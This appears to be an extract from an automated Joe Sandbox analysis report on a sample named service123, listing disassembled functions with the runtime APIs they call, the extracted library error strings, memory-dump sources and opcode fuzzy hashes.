Instruction Fuzzy Hash: ADD138B19047599FCB00DFA8C48469EFBF1BF88314F108A2EE8A4A7745DB34D959CB91

Function 6C9B7590 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 312COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C9B76D0
memchr.MSVCRT ref: 6C9B76EC

Part of subcall function 6CA2FD10: setlocale.MSVCRT ref: 6CA2FD25

Strings

., xrefs: 6C9B76E1
6, xrefs: 6C9B78C7

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: .$6
API String ID: 4291329590-4089497287
Opcode ID: f36bd0aefae35d508c386e56d57b78e181ab87650473ecc0d2565f2cd0a27f0c
Instruction ID: 1b608d6084090a4a4f0c8bf5d9c05aeac9dc006a33f49875655bdcf3a37084b7
Opcode Fuzzy Hash: f36bd0aefae35d508c386e56d57b78e181ab87650473ecc0d2565f2cd0a27f0c
Instruction Fuzzy Hash: 88D138B19093599FDB00DFA8C48058EBBF5BF88314F148A2EE8A4A7741D734E945CB92

Function 6C9DDD40 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 229COMMON

Download Yara Rule

Strings

basic_string::append, xrefs: 6C9DE00F
iostream error, xrefs: 6C9DDF5B
basic_string::_M_construct null not valid, xrefs: 6C9DE003
Unknown error, xrefs: 6C9DDD9C

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpymemmove
String ID: Unknown error$basic_string::_M_construct null not valid$basic_string::append$iostream error
API String ID: 167125708-1696127648
Opcode ID: e7701e749ad916f985a95e1ec373ecde244dc2e56e9fe1d4f368382db1bcc251
Instruction ID: 5ede14578f1a6e2f969c5924a943448ceeb55d7b4ad9b66697102daffde29561
Opcode Fuzzy Hash: e7701e749ad916f985a95e1ec373ecde244dc2e56e9fe1d4f368382db1bcc251
Instruction Fuzzy Hash: D0A102B1904718CFCB10DFA8D584A9DBBB5BF49304F11892ED498AB751D730A888CFA2

Function 6C9CB850 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 208COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C9CB8E8
memcpy.MSVCRT ref: 6C9CB978

Strings

basic_string::replace, xrefs: 6C9CBA6C, 6C9CBA80
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C9CBA74

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 1c6632c610ad963bfbb06fed3fb78e72f628b410e62f3d85eb9fa141028d67f2
Instruction ID: e021dd5215fdf618bc8d715ce91b131de1a4b64a85102bca19c502164722400e
Opcode Fuzzy Hash: 1c6632c610ad963bfbb06fed3fb78e72f628b410e62f3d85eb9fa141028d67f2
Instruction Fuzzy Hash: B2814575A0521A8FCB04DF28C5805AEBBF5FF88344F01896EE89997710D730D958CB93

Function 6C9D42E0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C9D436C
memcpy.MSVCRT ref: 6C9D43E8

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C9D44DB
basic_string::replace, xrefs: 6C9D44D3, 6C9D44E7

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 4b257e7405e7dc5a23c3d986199f85d38f964b4ecb8c6e2c7343cffe209fb341
Instruction ID: 73dd04311a492d2a5f55073703d216f2ebf7cf0db1ed8271563a3e202bea2f75
Opcode Fuzzy Hash: 4b257e7405e7dc5a23c3d986199f85d38f964b4ecb8c6e2c7343cffe209fb341
Instruction Fuzzy Hash: 46714975A05B468FCB00DF2DD68455EBBE5AF99244F12C92EE884E7B10E730E854CF52

Function 6C969B53 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C969803
strlen.MSVCRT ref: 6C96991C
strlen.MSVCRT ref: 6C9699A8

Strings

Z__, xrefs: 6C969B01
Z__, xrefs: 6C969A9B, 6C969AC5

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID: Z__$Z__
API String ID: 39653677-3588101454
Opcode ID: e988aeb2d31a39eaed92c9fcb33a45c6e17e3e6284df1042478508c6e3972e3d
Instruction ID: faaf421deba9c357352b5d43d801f681869f6ae1ef39f334075b223e7bd30dcd
Opcode Fuzzy Hash: e988aeb2d31a39eaed92c9fcb33a45c6e17e3e6284df1042478508c6e3972e3d
Instruction Fuzzy Hash: B0811CB1D052198FEB10CF69D8943CDBBF1FB45308F1481A9C859AB784E7799A89CF81

Function 6C969B0B Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 172stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C969803
strlen.MSVCRT ref: 6C96991C
strlen.MSVCRT ref: 6C9699A8

Strings

Z__, xrefs: 6C969B01
Z__, xrefs: 6C969A9B, 6C969AC5

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID: Z__$Z__
API String ID: 39653677-3588101454
Opcode ID: ea9f78d96ae2198866a5f773abe4e5c4841234dc2f775b44f18d562f65c41a94
Instruction ID: 1baac8ec12cf2c1be94a93f5eda2f690f32a070c055c0189a4590bb28dd171e8
Opcode Fuzzy Hash: ea9f78d96ae2198866a5f773abe4e5c4841234dc2f775b44f18d562f65c41a94
Instruction Fuzzy Hash: 28810AB19053188FEB10CF69D8943CDBBF1FB45308F1481A9C859AB784E7799A89CF81

Function 6CA2ED80 Relevance: 7.6, APIs: 5, Instructions: 78stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6CA2ED9A
strlen.MSVCRT ref: 6CA2EDA4
memcpy.MSVCRT ref: 6CA2EDC1
setlocale.MSVCRT ref: 6CA2EDD5
setlocale.MSVCRT ref: 6CA2EE2D

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 479d2ccfc79c74d38c4a82d53ad91b9acab7e52067c793c9c78d9bef405681f2
Instruction ID: 59dd3d913613a076a256047143ae2cc79e15296b65fb1e02f83da6aa72575463
Opcode Fuzzy Hash: 479d2ccfc79c74d38c4a82d53ad91b9acab7e52067c793c9c78d9bef405681f2
Instruction Fuzzy Hash: 9B318FB1909711AFD702BF25C98078DBBF4FB46349F058C49E4C887B90E73998D48B92

Function 6CA2EEA0 Relevance: 7.6, APIs: 5, Instructions: 75stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6CA2EEBA
strlen.MSVCRT ref: 6CA2EEC4
memcpy.MSVCRT ref: 6CA2EEE1
setlocale.MSVCRT ref: 6CA2EEF5
setlocale.MSVCRT ref: 6CA2EF55

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: bdda8e72d5fefdc5c27b3aea7ad74e2dd8570e16ce0664c742248d621eb44f26
Instruction ID: 67dd9d986f70aa151986566ef5085d26a20cab91ffda90c0a67047f8ae6b7541
Opcode Fuzzy Hash: bdda8e72d5fefdc5c27b3aea7ad74e2dd8570e16ce0664c742248d621eb44f26
Instruction Fuzzy Hash: 7A21A0B0A0D3A19ED712BF25C58028DBFF0EB42745F158C4DE4C887B91E33AC8958B92

Function 6CA2EFC0 Relevance: 7.6, APIs: 5, Instructions: 71stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6CA2EFDA
strlen.MSVCRT ref: 6CA2EFE4
memcpy.MSVCRT ref: 6CA2F001
setlocale.MSVCRT ref: 6CA2F015
setlocale.MSVCRT ref: 6CA2F06D

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 9ff0d0b6991103de942458782cd6b8d8f5f2eee2d1762c9c1aeec25ec3de0b8f
Instruction ID: ebe35c95e012f0b240bdbee874fe058c0500a0860e39f4ce33df041187933bc7
Opcode Fuzzy Hash: 9ff0d0b6991103de942458782cd6b8d8f5f2eee2d1762c9c1aeec25ec3de0b8f
Instruction Fuzzy Hash: 30215CB1A0D3219FC702BF15C980789BBF4EB55748F158C1DE48887B50E73988998B96

Function 6CA2FD10 Relevance: 7.6, APIs: 5, Instructions: 64stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6CA2FD25
strlen.MSVCRT ref: 6CA2FD73
memcpy.MSVCRT ref: 6CA2FD90
setlocale.MSVCRT ref: 6CA2FDA4
setlocale.MSVCRT ref: 6CA2FDDA

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: cfb498d35da0aaacd429807f5cea2dfad04a7be22ae52761b12a83a9f4994ab6
Instruction ID: 5249acd902bdaf17eae0d37867f5e1ef3871a670ad39ba22c4ff95609a8dcf80
Opcode Fuzzy Hash: cfb498d35da0aaacd429807f5cea2dfad04a7be22ae52761b12a83a9f4994ab6
Instruction Fuzzy Hash: 1321E2B0A093109FD340AF29D58465EBBE0EF98658F44996EE4C8C7B00E738C9848F52

Function 6C97A840 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 6C97A859
_unlock.MSVCRT ref: 6C97A881
calloc.MSVCRT ref: 6C97A8CF

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: dbfa0f3427a73eaac7dc9d678ee9ced2aa34844d5d7c7e451569c8af80486a6a
Instruction ID: 69aeb5d68e6923f77409cdc07c593b20eb9ffc6e2ffd0e271515db85935ce362
Opcode Fuzzy Hash: dbfa0f3427a73eaac7dc9d678ee9ced2aa34844d5d7c7e451569c8af80486a6a
Instruction Fuzzy Hash: 47118C70606201CBE7209F29C88078ABBE4FF95714F14C6A8D4988F788EF74C806CB62

Function 6C9E8A40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_read.MSVCRT ref: 6C9E8D06

Strings

random_device could not be read, xrefs: 6C9E8D34

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: _read
String ID: random_device could not be read
API String ID: 3312595324-883157155
Opcode ID: cdf26a1f3e0ce7f26306e273797160b22d3c51cb41d07f0ea9e7634efd7cf4a2
Instruction ID: c64cb65a16e3a128fbd8e70bc877d4b747b4e99192735bf73db0e30a8e6cb566
Opcode Fuzzy Hash: cdf26a1f3e0ce7f26306e273797160b22d3c51cb41d07f0ea9e7634efd7cf4a2
Instruction Fuzzy Hash: 2511387260A7114BC7059FBDD98024AB7E8FF6A368F00462AE95897B40D330E885C796

Function 6C981500 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63stringCOMMON

Download Yara Rule

APIs

strerror.MSVCRT ref: 6C981513
strlen.MSVCRT ref: 6C981523
memcpy.MSVCRT ref: 6C98158F

Strings

basic_string::_M_construct null not valid, xrefs: 6C98159C

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrerrorstrlen
String ID: basic_string::_M_construct null not valid
API String ID: 2955597728-3522614731
Opcode ID: 3563f07f46b4ff4c05ab5f76feba9bebe24c2e29167053f1091df9eb19541071
Instruction ID: 13d0a3ac8389239da2104269ebbbc01d4d665ba3ff16315ef893221c135a7332
Opcode Fuzzy Hash: 3563f07f46b4ff4c05ab5f76feba9bebe24c2e29167053f1091df9eb19541071
Instruction Fuzzy Hash: BD113DB160A3108FC7109F79D48065AFBE4EF97244F05982EE899CBB45D730C849CBA2

Function 002B7FB8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 002B7FD2
strchr.MSVCRT ref: 002B7FE2
atoi.MSVCRT ref: 002B7FF3

Strings

., xrefs: 002B7FD7

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: 2e20cc0a2f8bd01d80a18571f6e875e0734c2b59010ac96151a74daf2c5f9a7c
Instruction ID: 96629768011f87df626d0dad25291c10959950932762a6e7d74f38f23aa8e882
Opcode Fuzzy Hash: 2e20cc0a2f8bd01d80a18571f6e875e0734c2b59010ac96151a74daf2c5f9a7c
Instruction Fuzzy Hash: 46E0E6719187014BD7007F38C90635A76D56B91380F498C5CD58887345EF799459DB52

Function 6C97AC78 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C97AC92
strchr.MSVCRT ref: 6C97ACA2
atoi.MSVCRT ref: 6C97ACB3

Strings

., xrefs: 6C97AC97

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: 3b260df25603b305c8e6d8ffcdd82cbc49801b725b7825ce0541df77b9e239c7
Instruction ID: 1d0d516c9b6cc8023bf9499a2cefa96a1c85f9061dcf3dce1ba424373d5edb0e
Opcode Fuzzy Hash: 3b260df25603b305c8e6d8ffcdd82cbc49801b725b7825ce0541df77b9e239c7
Instruction Fuzzy Hash: CDE0ECB19067004BD7206F38C90935EB6E1ABA1308F49A86CD4C88BB44EB7DD4499B62

Function 6C97AC23 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 6C97AC2F
GetProcAddress.KERNEL32 ref: 6C97AC43

Strings

advapi32.dll, xrefs: 6C97AC28
SystemFunction036, xrefs: 6C97AC38

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 2574300362-1354007664
Opcode ID: d1f7d376e40c41a34f38e84fc65200a3f836ad87b8d66e58b54cdaadbbbea16e
Instruction ID: a4a13055843d18e4ef7b8cd803548a054e5838b9b538bfefad426c0dbd99c7d9
Opcode Fuzzy Hash: d1f7d376e40c41a34f38e84fc65200a3f836ad87b8d66e58b54cdaadbbbea16e
Instruction Fuzzy Hash: D7E012B2919700CB8B006F3C840A04ABAB0BA0A604B40C92AD085A7600DB35D085CF93

Function 6C971D23 Relevance: 6.4, APIs: 4, Instructions: 415COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C97189F
memcpy.MSVCRT ref: 6C9718DA

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c02528c1f61ceda45829e5ea24460e8b98a45c7258c0ea79448ab8a5c84c66ba
Instruction ID: 0393035e7b9cb69c7866a1cdb740c625478b9a899361d78bb533a9711ee9fce3
Opcode Fuzzy Hash: c02528c1f61ceda45829e5ea24460e8b98a45c7258c0ea79448ab8a5c84c66ba
Instruction Fuzzy Hash: 5D021375A0A7418FC720CF28C48479ABBE1FF99708F16892DE8D89B750D735E845CB92

Function 6C96A220 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C96A2A5
memcpy.MSVCRT ref: 6C96A2C0
free.MSVCRT(?,?,?,?,?,?,?,?,?,6C97F8EC), ref: 6C96A2CA

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
